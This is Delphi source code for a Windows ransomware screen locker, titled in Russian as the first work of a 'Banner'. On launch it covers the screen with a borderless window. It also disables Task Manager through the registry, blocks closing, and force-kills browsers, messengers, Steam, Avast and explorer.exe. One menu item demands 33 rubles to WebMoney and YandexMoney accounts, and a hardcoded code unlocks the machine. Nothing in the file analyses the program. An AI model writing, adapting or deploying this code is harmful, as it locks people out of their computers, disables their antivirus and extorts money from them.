Первая работа "Баннера"

unit Unit1;
 
interface
 
uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, Registry, jpeg, ExtCtrls, Inifiles, ShellAPI, Menus;
 
type
  TForm1 = class(TForm)
    Edit1: TEdit;
    Button1: TButton;
    Button2: TButton;
    Image1: TImage;
    Label1: TLabel;
    MainMenu1: TMainMenu;
    N1: TMenuItem;
    N2: TMenuItem;
    N4: TMenuItem;
    procedure FormCreate(Sender: TObject);
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);
    procedure N2Click(Sender: TObject);
    procedure N4Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
 
var
  Form1: TForm1;
 
implementation
 
{$R *.dfm}
 
procedure DisableTaskMgr(bTF: Boolean);
var
  reg: TRegistry;
begin
  reg := TRegistry.Create;
  reg.RootKey := HKEY_CURRENT_USER;
  reg.OpenKey('Software', True);
  reg.OpenKey('Microsoft', True);
  reg.OpenKey('Windows', True);
  reg.OpenKey('CurrentVersion', True);
  reg.OpenKey('Policies', True);
  reg.OpenKey('System', True);
 
if bTF = True then
begin
  reg.WriteString('DisableTaskMgr', '1');
end
 
else if bTF = False then
begin
  reg.DeleteValue('DisableTaskMgr');
end;
  reg.CloseKey;
end;
 
 
procedure TForm1.FormCreate(Sender: TObject);
begin
Form1.Height:=1200;
form1.Width:=1920;
form1.BorderStyle:=bsnone;
form1.Position:=poDesktopcenter;
DisableTaskMgr(True);
winexec('taskkill /F /IM firefox.exe', SW_HIDE);
winexec('taskkill /F /IM opera.exe', SW_HIDE);
winexec('taskkill /F /IM browser.exe', SW_HIDE);
winexec('taskkill /F /IM chrome.exe', SW_HIDE);
winexec('taskkill /F /IM icq.exe', SW_HIDE);
winexec('taskkill /F /IM steam.exe', SW_HIDE);
winexec('taskkill /F /IM skype.exe', SW_HIDE);
winexec('taskkill /F /IM ClownFich.exe', SW_HIDE);
winexec('taskkill /F /IM AvastUI.exe', SW_HIDE);
winexec('taskkill /F /IM explorer.exe', SW_HIDE);
end;
 
 
procedure TForm1.Button1Click(Sender: TObject);
begin
if edit1.Text='25622562123' then begin
button2.visible:=true;
end;
end;
 
procedure TForm1.Button2Click(Sender: TObject);
begin
ShellExecute(Handle, 'open', 'explorer.exe', nil, nil, SW_RESTORE);
Application.Terminate;
DisableTaskMgr(False);
end;
 
procedure TForm1.FormCloseQuery(Sender: TObject; var CanClose: Boolean);
begin
CanClose:=false;
end;
 
procedure TForm1.N2Click(Sender: TObject);
begin
ShowMessage('Вы должны отправить 33 рубля на эти счета:'+#13#10+'WebMoney:R120726386***'+#13#10+'YandexMoney:410011554965***');
end;
 
procedure TForm1.N4Click(Sender: TObject);
begin
ShowMessage('Создатель: QvaserZver '+#13#10+'IDWK:QvaserZver; xD, ну давай же зайди, хаха');
end;
 
end.